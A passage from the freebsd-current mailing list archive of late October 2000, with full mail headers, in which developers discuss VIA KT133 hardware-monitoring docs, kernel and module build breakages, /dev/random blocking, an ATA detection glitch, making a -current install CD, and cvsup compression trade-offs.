via kt133 south bridge Message-ID: <20001031213045.A435@freebie.demon.nl> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from culverk@wam.umd.edu on Tue, Oct 31, 2000 at 12:02:47PM -0500 X-OS: FreeBSD 4.1-STABLE X-PGP: finger wilko@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Oct 31, 2000 at 12:02:47PM -0500, Kenneth Wayne Culver wrote: > I was wondering if any of the developers here had any docs for the via > kt133 south bridge. I need the docs so that I can write a driver for the > hardware monitoring features of this chip... I looked on via's website, > but the docs there are incomplete... I think one of our Japanese friends has been trying to get these docs from VIA. With little luck it seems. -- Wilko Bulte Arnhem, the Netherlands wilko@freebsd.org http://www.freebsd.org http://www.nlfug.nl To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 12:38: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from valcho.net (valcho.net [208.10.211.61]) by hub.freebsd.org (Postfix) with SMTP id 9586F37B4CF for ; Tue, 31 Oct 2000 12:38:06 -0800 (PST) Received: (qmail 35547 invoked by uid 1000); 31 Oct 2000 20:37:42 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 31 Oct 2000 20:37:42 -0000 Date: Tue, 31 Oct 2000 15:37:42 -0500 (EST) From: Valentin Chopov To: current@FreeBSD.ORG Subject: device_tagenb in sys/cam/cam_xpt.c Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG After last changes , device_tagenb is not defined in sys/cam/cam_xpt.c Thanks, Val To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 12:53: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from po3.wam.umd.edu (po3.wam.umd.edu [128.8.10.165]) by hub.freebsd.org (Postfix) with ESMTP id C6C3637B4CF for ; Tue, 31 Oct 2000 12:53:04 -0800 (PST) Received: from rac3.wam.umd.edu (IDENT:root@rac3.wam.umd.edu [128.8.10.143]) by po3.wam.umd.edu (8.9.3/8.9.3) with ESMTP id PAA02674; Tue, 31 Oct 2000 15:52:57 -0500 (EST) Received: from rac3.wam.umd.edu (IDENT:sendmail@localhost [127.0.0.1]) by rac3.wam.umd.edu (8.9.3/8.9.3) with SMTP id PAA11840; Tue, 31 Oct 2000 15:52:57 -0500 (EST) Received: from localhost (culverk@localhost) by rac3.wam.umd.edu (8.9.3/8.9.3) with ESMTP id PAA11835; Tue, 31 Oct 2000 15:52:56 -0500 (EST) X-Authentication-Warning: rac3.wam.umd.edu: culverk owned process doing -bs Date: Tue, 31 Oct 2000 15:52:56 -0500 (EST) From: Kenneth Wayne Culver To: Wilko Bulte Cc: freebsd-current@FreeBSD.ORG Subject: Re: docs for via kt133 south bridge In-Reply-To: <20001031213045.A435@freebie.demon.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I think one of our Japanese friends has been trying to get these docs > from VIA. With little luck it seems. Hrmm, well I'll send a messege or something over to VIA... I'm going to make this driver in such a way that it would be easy to add more drivers for other hwmon stuff in the future... Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 13:26:20 2000 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [209.152.133.57]) by hub.freebsd.org (Postfix) with ESMTP id 57FDE37B4CF for ; Tue, 31 Oct 2000 13:26:18 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id NAA28498; Tue, 31 Oct 2000 13:25:48 -0800 (PST) (envelope-from obrien) Date: Tue, 31 Oct 2000 13:25:48 -0800 From: "David O'Brien" To: Charlie Root Cc: current@freebsd.org Subject: Re: compile failure in current Message-ID: <20001031132547.A28476@dragon.nuxi.com> Reply-To: obrien@freebsd.org References: <200010311549.e9VFn8A67581@btw.plaintalk.bellevue.wa.us> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200010311549.e9VFn8A67581@btw.plaintalk.bellevue.wa.us>; from root@btw.plaintalk.bellevue.wa.us on Tue, Oct 31, 2000 at 07:49:08AM -0800 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Oct 31, 2000 at 07:49:08AM -0800, Charlie Root wrote: > cc -Os -I/usr/src/gnu/lib/csu/../../../contrib/gcc/config -I. -DIN_GCC -finhibit-size-directive -fno-inline-functions -fno-exceptions -fno-omit-frame-pointer -I/usr/obj/usr/src/i386/usr/include -g0 -DCRT_END -c -o crtend.o /usr/src/gnu/lib/csu/../../../contrib/gcc/crtstuff.c /usr/src/gnu/lib/csu/crtend.c > cc: cannot specify -o with -c or -S and multiple compilations > *** Error code 1 What is the contents of your /usr/src/gnu/lib/csu ? -- -- David (obrien@FreeBSD.org) GNU is Not Unix / Linux Is Not UniX To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 13:28:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.getrelevant.com (mail.getrelevant.com [63.211.149.12]) by hub.freebsd.org (Postfix) with ESMTP id 4E35237B4CF for ; Tue, 31 Oct 2000 13:28:37 -0800 (PST) Received: from khmere.com ([63.211.149.44]) by mail.getrelevant.com (Lotus Domino Release 5.0.5) with ESMTP id 2000103113262566:120164 ; Tue, 31 Oct 2000 13:26:25 -0800 Message-ID: <39FF3977.67CB9202@khmere.com> Date: Tue, 31 Oct 2000 13:28:23 -0800 From: Nathan Boeger Organization: Getrelevant X-Mailer: Mozilla 4.74 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: "current@FreeBSD.ORG" Subject: /dev/random strangeness X-MIMETrack: Itemize by SMTP Server on notes/GetRelevant(Release 5.0.5 |September 22, 2000) at 10/31/2000 01:26:25 PM, Serialize by Router on notes/GetRelevant(Release 5.0.5 |September 22, 2000) at 10/31/2000 01:26:26 PM, Serialize complete at 10/31/2000 01:26:26 PM Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have looked through the list (I am new to this list) and saw some mention of the /dev/random. However I have a strange problem that was not mentioned. After I did a proper make world and updated my system to 5.0-CURRENT, my /dev/random services do not "start ?". So if I where to do a make depend or start vi etc... anything that needs this device it will hang and wait. Now if I do someting like echo "100" >> /dev/random then it pops into service. Why ? I have remade all my devices in /dev and added: device random # Entropy device options NOBLOCKRANDOM # avoid any blocking on device random options to my kernel and rebuilt it, however this does not seem to help. any help would be greatly apprecieated. thank you nathan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 13:54:36 2000 Delivered-To: freebsd-current@freebsd.org Received: from thelab.hub.org (CDR20-53.accesscable.net [24.138.20.53]) by hub.freebsd.org (Postfix) with ESMTP id DF4C737B4C5 for ; Tue, 31 Oct 2000 13:54:27 -0800 (PST) Received: from localhost (scrappy@localhost) by thelab.hub.org (8.11.1/8.11.1) with ESMTP id e9VLq9u41838; Tue, 31 Oct 2000 17:52:09 -0400 (AST) (envelope-from scrappy@hub.org) X-Authentication-Warning: thelab.hub.org: scrappy owned process doing -bs Date: Tue, 31 Oct 2000 17:52:09 -0400 (AST) From: The Hermit Hacker To: Valentin Chopov Cc: current@FreeBSD.ORG Subject: Re: device_tagenb in sys/cam/cam_xpt.c In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG damn, and I thought it was cause I didn't do a buildworld before my buildkernel ... ;( On Tue, 31 Oct 2000, Valentin Chopov wrote: > After last changes , device_tagenb is not defined in sys/cam/cam_xpt.c > > > Thanks, > > Val > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > > Marc G. Fournier ICQ#7615664 IRC Nick: Scrappy Systems Administrator @ hub.org primary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 14: 5: 6 2000 Delivered-To: freebsd-current@freebsd.org Received: from freebsd.dk (freebsd.dk [212.242.42.178]) by hub.freebsd.org (Postfix) with ESMTP id D049037B4C5 for ; Tue, 31 Oct 2000 14:05:03 -0800 (PST) Received: (from sos@localhost) by freebsd.dk (8.9.3/8.9.1) id XAA79915; Tue, 31 Oct 2000 23:04:08 +0100 (CET) (envelope-from sos) From: Soren Schmidt Message-Id: <200010312204.XAA79915@freebsd.dk> Subject: Re: docs for via kt133 south bridge In-Reply-To: from Kenneth Wayne Culver at "Oct 31, 2000 03:52:56 pm" To: culverk@wam.umd.edu (Kenneth Wayne Culver) Date: Tue, 31 Oct 2000 23:04:08 +0100 (CET) Cc: wkb@freebie.demon.nl (Wilko Bulte), freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems Kenneth Wayne Culver wrote: > > I think one of our Japanese friends has been trying to get these docs > > from VIA. With little luck it seems. > > Hrmm, well I'll send a messege or something over to VIA... I'm going to > make this driver in such a way that it would be easy to add more drivers > for other hwmon stuff in the future... Hmm, I have the docs for the '686 chip, I'll see if it includes the monitoring stuff... -Søren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 14:10:56 2000 Delivered-To: freebsd-current@freebsd.org Received: from po3.wam.umd.edu (po3.wam.umd.edu [128.8.10.165]) by hub.freebsd.org (Postfix) with ESMTP id C4B5737B479 for ; Tue, 31 Oct 2000 14:10:51 -0800 (PST) Received: from rac1.wam.umd.edu (IDENT:root@rac1.wam.umd.edu [128.8.10.141]) by po3.wam.umd.edu (8.9.3/8.9.3) with ESMTP id RAA11232; Tue, 31 Oct 2000 17:10:21 -0500 (EST) Received: from rac1.wam.umd.edu (IDENT:sendmail@localhost [127.0.0.1]) by rac1.wam.umd.edu (8.9.3/8.9.3) with SMTP id RAA27959; Tue, 31 Oct 2000 17:10:21 -0500 (EST) Received: from localhost (culverk@localhost) by rac1.wam.umd.edu (8.9.3/8.9.3) with ESMTP id RAA27955; Tue, 31 Oct 2000 17:10:20 -0500 (EST) X-Authentication-Warning: rac1.wam.umd.edu: culverk owned process doing -bs Date: Tue, 31 Oct 2000 17:10:20 -0500 (EST) From: Kenneth Wayne Culver To: Soren Schmidt Cc: Wilko Bulte , freebsd-current@FreeBSD.ORG Subject: Re: docs for via kt133 south bridge In-Reply-To: <200010312204.XAA79915@freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG cool, thanks. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D | Kenneth Culver | FreeBSD: The best NT upgrade | | Unix Systems Administrator | ICQ #: 24767726 | | and student at The | AIM: muythaibxr | | The University of Maryland, | Website: (Under Construction) | | College Park.=09 | http://www.wam.umd.edu/~culverk/| =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D On Tue, 31 Oct 2000, Soren Schmidt wrote: > It seems Kenneth Wayne Culver wrote: > > > I think one of our Japanese friends has been trying to get these docs > > > from VIA. With little luck it seems. > >=20 > > Hrmm, well I'll send a messege or something over to VIA... I'm going to > > make this driver in such a way that it would be easy to add more driver= s > > for other hwmon stuff in the future... >=20 > Hmm, I have the docs for the '686 chip, I'll see if it includes the > monitoring stuff... >=20 > -S=F8ren >=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 14:25:13 2000 Delivered-To: freebsd-current@freebsd.org Received: from po3.wam.umd.edu (po3.wam.umd.edu [128.8.10.165]) by hub.freebsd.org (Postfix) with ESMTP id D922437B4C5; Tue, 31 Oct 2000 14:25:08 -0800 (PST) Received: from rac1.wam.umd.edu (IDENT:root@rac1.wam.umd.edu [128.8.10.141]) by po3.wam.umd.edu (8.9.3/8.9.3) with ESMTP id RAA12730; Tue, 31 Oct 2000 17:25:07 -0500 (EST) Received: from rac1.wam.umd.edu (IDENT:sendmail@localhost [127.0.0.1]) by rac1.wam.umd.edu (8.9.3/8.9.3) with SMTP id RAA02814; Tue, 31 Oct 2000 17:25:07 -0500 (EST) Received: from localhost (culverk@localhost) by rac1.wam.umd.edu (8.9.3/8.9.3) with ESMTP id RAA02809; Tue, 31 Oct 2000 17:25:06 -0500 (EST) X-Authentication-Warning: rac1.wam.umd.edu: culverk owned process doing -bs Date: Tue, 31 Oct 2000 17:25:06 -0500 (EST) From: Kenneth Wayne Culver To: freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: wierd ata driver problem Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG with a -STABLE as of last night at 1:30 AM EST the ata driver refuses to configure my DVD drive. Here is the output of a dmesg: ad0: 8063MB [16383/16/63] at ata0-master UDMA33 ad1: 13029MB [26473/16/63] at ata1-master UDMA66 ad2: 14655MB [29777/16/63] at ata1-slave UDMA66 ata0-slave: <\M-vO\M-wH\M^?B\M-w \M-vV\M-v-\M-vO\M^? \M-wD\M^?M\M-w2\M-w2\M-v \M -v \M-v \M-v \M-v \M-v \M-v \M-v/\M-wR\M-v2\M-v \M-v> Unknown device - NO DRIVER ! This is quite wierd because it was working before this.. here are some other relavent lines from my dmesg atapci0: port 0xd000-0xd00f at device 7.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 Thanks Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 15: 2:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from po3.wam.umd.edu (po3.wam.umd.edu [128.8.10.165]) by hub.freebsd.org (Postfix) with ESMTP id 1EC5B37B479; Tue, 31 Oct 2000 15:02:27 -0800 (PST) Received: from rac5.wam.umd.edu (IDENT:root@rac5.wam.umd.edu [128.8.10.145]) by po3.wam.umd.edu (8.9.3/8.9.3) with ESMTP id SAA16495; Tue, 31 Oct 2000 18:02:26 -0500 (EST) Received: from rac5.wam.umd.edu (IDENT:sendmail@localhost [127.0.0.1]) by rac5.wam.umd.edu (8.9.3/8.9.3) with SMTP id SAA14771; Tue, 31 Oct 2000 18:02:25 -0500 (EST) Received: from localhost (culverk@localhost) by rac5.wam.umd.edu (8.9.3/8.9.3) with ESMTP id SAA14766; Tue, 31 Oct 2000 18:02:25 -0500 (EST) X-Authentication-Warning: rac5.wam.umd.edu: culverk owned process doing -bs Date: Tue, 31 Oct 2000 18:02:25 -0500 (EST) From: Kenneth Wayne Culver To: freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: ata problems, nevermind Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Wierd, I turned the computer off and turned it back on again and the problem is solved... sorry bout that. Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 16:49:54 2000 Delivered-To: freebsd-current@freebsd.org Received: from homer.softweyr.com (mail.dobox.com [208.187.122.44]) by hub.freebsd.org (Postfix) with ESMTP id 0D51D37B4C5 for ; Tue, 31 Oct 2000 16:49:52 -0800 (PST) Received: from [127.0.0.1] (helo=softweyr.com ident=Fools trust ident!) by homer.softweyr.com with esmtp (Exim 3.16 #1) id 13qm6J-0000Dc-00; Tue, 31 Oct 2000 17:49:59 -0700 Message-ID: <39FF68B7.E1CE6A90@softweyr.com> Date: Tue, 31 Oct 2000 17:49:59 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Gerhard Sittig Cc: current@FreeBSD.ORG Subject: Re: Intel Etherexpress support? References: <20001031000855.C260@dataloss.net> <20001031105711.M25237@speedy.gsinet> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Gerhard Sittig wrote: > > On Tue, Oct 31, 2000 at 00:08 +0100, Peter van Dijk wrote: > > > > Without looking at any of your code, I would kindly like to ask > > you not to look at the Linux driver for eexpress too much - > > it's severely broken and has all kinds of timing problems that > > can crash boxes at predictable moments (some boxes crash when > > you ifconfig, some crash when you run tcpdump [probably on the > > switch to PROMISC]). Slower boxes seem to work better. > > Which driver version are you talking about? I didn't follow this > stuff too closely (my EEPro100 always worked when not sitting in > an Asus SP3 board which has problems of its own regarding PCI) They're discussing the ISA card, which has very little to do with your PCI bus. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 16:55:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id B17FE37B479 for ; Tue, 31 Oct 2000 16:55:19 -0800 (PST) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id QAA23666 for ; Tue, 31 Oct 2000 16:55:13 -0800 (PST) (envelope-from jdp@polstra.com) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Tue, 31 Oct 2000 16:55:13 -0800 (PST) Organization: Polstra & Co., Inc. From: John Polstra To: current@freebsd.org Subject: I need some nm output from today's -current on i386 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Could somebody with today's -current on an i386 please send me the output from this command ASAP? nm -oa /usr/lib/libgcc_r.a | fgrep frame.o: Thanks! John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 17: 0:59 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 9AE2A37B4C5 for ; Tue, 31 Oct 2000 17:00:57 -0800 (PST) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id RAA23732 for ; Tue, 31 Oct 2000 17:00:57 -0800 (PST) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.0/8.11.0) id eA110um05516; Tue, 31 Oct 2000 17:00:56 -0800 (PST) (envelope-from jdp) Date: Tue, 31 Oct 2000 17:00:56 -0800 (PST) Message-Id: <200011010100.eA110um05516@vashon.polstra.com> To: current@freebsd.org From: John Polstra Subject: Re: I need some nm output from today's -current on i386 In-Reply-To: References: Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article , John Polstra wrote: > Could somebody with today's -current on an i386 please send me the > output from this command ASAP? > > nm -oa /usr/lib/libgcc_r.a | fgrep frame.o: Got it. Thanks! John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 18:33:36 2000 Delivered-To: freebsd-current@freebsd.org Received: from volatile.chemicals.tacorp.com (ci391991-a.grnvle1.sc.home.com [24.9.31.75]) by hub.freebsd.org (Postfix) with ESMTP id 82D5D37B4CF for ; Tue, 31 Oct 2000 18:33:31 -0800 (PST) Received: (from morganw@localhost) by volatile.chemicals.tacorp.com (8.11.1/8.11.1) id eA12XUe02587; Tue, 31 Oct 2000 21:33:30 -0500 (EST) (envelope-from morganw) Date: Tue, 31 Oct 2000 21:33:30 -0500 (EST) From: Wesley Morgan To: freebsd-current@freebsd.org Subject: linux emulation Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Anyone having problems with the linuxulator the past couple days? Module fails to load for me, with this message: link_elf: symbol makebdev undefined -- _ __ ___ ____ ___ ___ ___ Wesley N Morgan _ __ ___ | _ ) __| \ morganw@chemicals.tacorp.com _ __ | _ \._ \ |) | FreeBSD: The Power To Serve _ |___/___/___/ 6bone: 3ffe:1ce3:7::b4ff:fe53:c297 Hi! I'm a .signature virus! Copy me into your ~/.signature to help me spread! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 18:37:36 2000 Delivered-To: freebsd-current@freebsd.org Received: from msa.hinet.net (msa.hinet.net [168.95.4.211]) by hub.freebsd.org (Postfix) with ESMTP id B93EE37B479 for ; Tue, 31 Oct 2000 18:37:33 -0800 (PST) Received: from CoreBit.com (h143.s180.ts.hinet.net [168.95.180.143]) by msa.hinet.net (8.8.8/8.8.8) with ESMTP id KAA01450 for ; Wed, 1 Nov 2000 10:37:30 +0800 (CST) Message-ID: <39FF81D6.1AE428AD@CoreBit.com> Date: Wed, 01 Nov 2000 10:37:10 +0800 From: Donny Lee X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-current@FreeBSD.ORG Subject: Re: linux emulation References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Wesley Morgan wrote: > Anyone having problems with the linuxulator the past couple days? > Module fails to load for me, with this message: > link_elf: symbol makebdev undefined Yah, i do. -- // Donny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 18:57: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from cs.utep.edu (mail.cs.utep.edu [129.108.5.3]) by hub.freebsd.org (Postfix) with ESMTP id A2BB937B4F9 for ; Tue, 31 Oct 2000 18:56:35 -0800 (PST) Received: from gecko (gecko [129.108.5.51]) by cs.utep.edu (8.10.1/8.10.1) with ESMTP id eA12uOn03382 for ; Tue, 31 Oct 2000 19:56:25 -0700 (MST) Date: Tue, 31 Oct 2000 19:56:25 -0700 (MST) From: X-Sender: janb@gecko To: freebsd-current@freebsd.org Subject: making an install CD Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I would line to make an Install CD with a non-release kernel and sysinstall. Only the newer software supports the device I want to install on, So I need both the new kernel and sysinstall. Does anybody have a link to instructions for making an install CD with the 'current' state. jan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 19: 3:50 2000 Delivered-To: freebsd-current@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id 3137A37B4C5 for ; Tue, 31 Oct 2000 19:03:47 -0800 (PST) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id NAA09548; Wed, 1 Nov 2000 13:33:19 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Wed, 01 Nov 2000 13:33:19 +1030 (CST) From: "Daniel O'Connor" To: janb@cs.utep.edu Subject: RE: making an install CD Cc: freebsd-current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 01-Nov-00 janb@cs.utep.edu wrote: > Does anybody have a link to instructions for making an install CD with the > 'current' state. Well, you need to have the CVS repo handy for starters, then try cd /usr/src/release make release CHROOTDIR=/some/place/with/space CVSROOT=/my/cvsroot Read the Makefile for handy tips :) --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 19:31:16 2000 Delivered-To: freebsd-current@freebsd.org Received: from cs.utep.edu (mail.cs.utep.edu [129.108.5.3]) by hub.freebsd.org (Postfix) with ESMTP id E6BF637B479 for ; Tue, 31 Oct 2000 19:31:09 -0800 (PST) Received: from gecko (gecko [129.108.5.51]) by cs.utep.edu (8.10.1/8.10.1) with ESMTP id eA13V4P03582 for ; Tue, 31 Oct 2000 20:31:04 -0700 (MST) Date: Tue, 31 Oct 2000 20:31:05 -0700 (MST) From: X-Sender: janb@gecko To: freebsd-current@freebsd.org Subject: Wierdness with cvsup Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am using cvsup to update my sources. in the supfile, there is a line that states *default compress. The comment above indicates to comment this out when you have a fast connection. I DO have a fast connection (100+ K sustained to ftp.freebsd.org) But when I comment this line out, cvsup indicates a smaller update rate than when I leave it in. Can someone shed light on this? Thanks, JAn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 31 20: 1:56 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 8109537B4CF for ; Tue, 31 Oct 2000 20:01:53 -0800 (PST) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id UAA24549; Tue, 31 Oct 2000 20:01:27 -0800 (PST) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.0/8.11.0) id eA141QQ06098; Tue, 31 Oct 2000 20:01:26 -0800 (PST) (envelope-from jdp) Date: Tue, 31 Oct 2000 20:01:26 -0800 (PST) Message-Id: <200011010401.eA141QQ06098@vashon.polstra.com> To: current@freebsd.org From: John Polstra Cc: janb@cs.utep.edu Subject: Re: Wierdness with cvsup In-Reply-To: References: Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article , wrote: > I am using cvsup to update my sources. in the supfile, there is a > line that states *default compress. The comment above indicates to > comment this out when you have a fast connection. I DO have a fast > connection (100+ K sustained to ftp.freebsd.org) But when I comment > this line out, cvsup indicates a smaller update rate than when I > leave it in. Can someone shed light on this? Sure! The idea behind the comment in the sample supfile is that for link speeds beyond a certain point, compression takes so much CPU time that it slows things down more than just sending the bits uncompressed. That certain point depends on a lot of things -- the speed of your CPU, the speed of your mirror's CPU, etc. So it is ultimately up to you to decide whether to use compression or not, based on your experiences. Second, the "update rate" can be misleading if you don't understand what it means. It's the total size of the files actually updated divided by the elapsed time. It tends to be kind of meaningless unless a lot of files get updated. If you do an update where nothing has changed and therefore no files are updated, the update rate will be 0. So it doesn't work to look at the update rate with compression on, then turn off compression, update again, and look at the update rate a second time. On your second update probably nothing will be updated, because 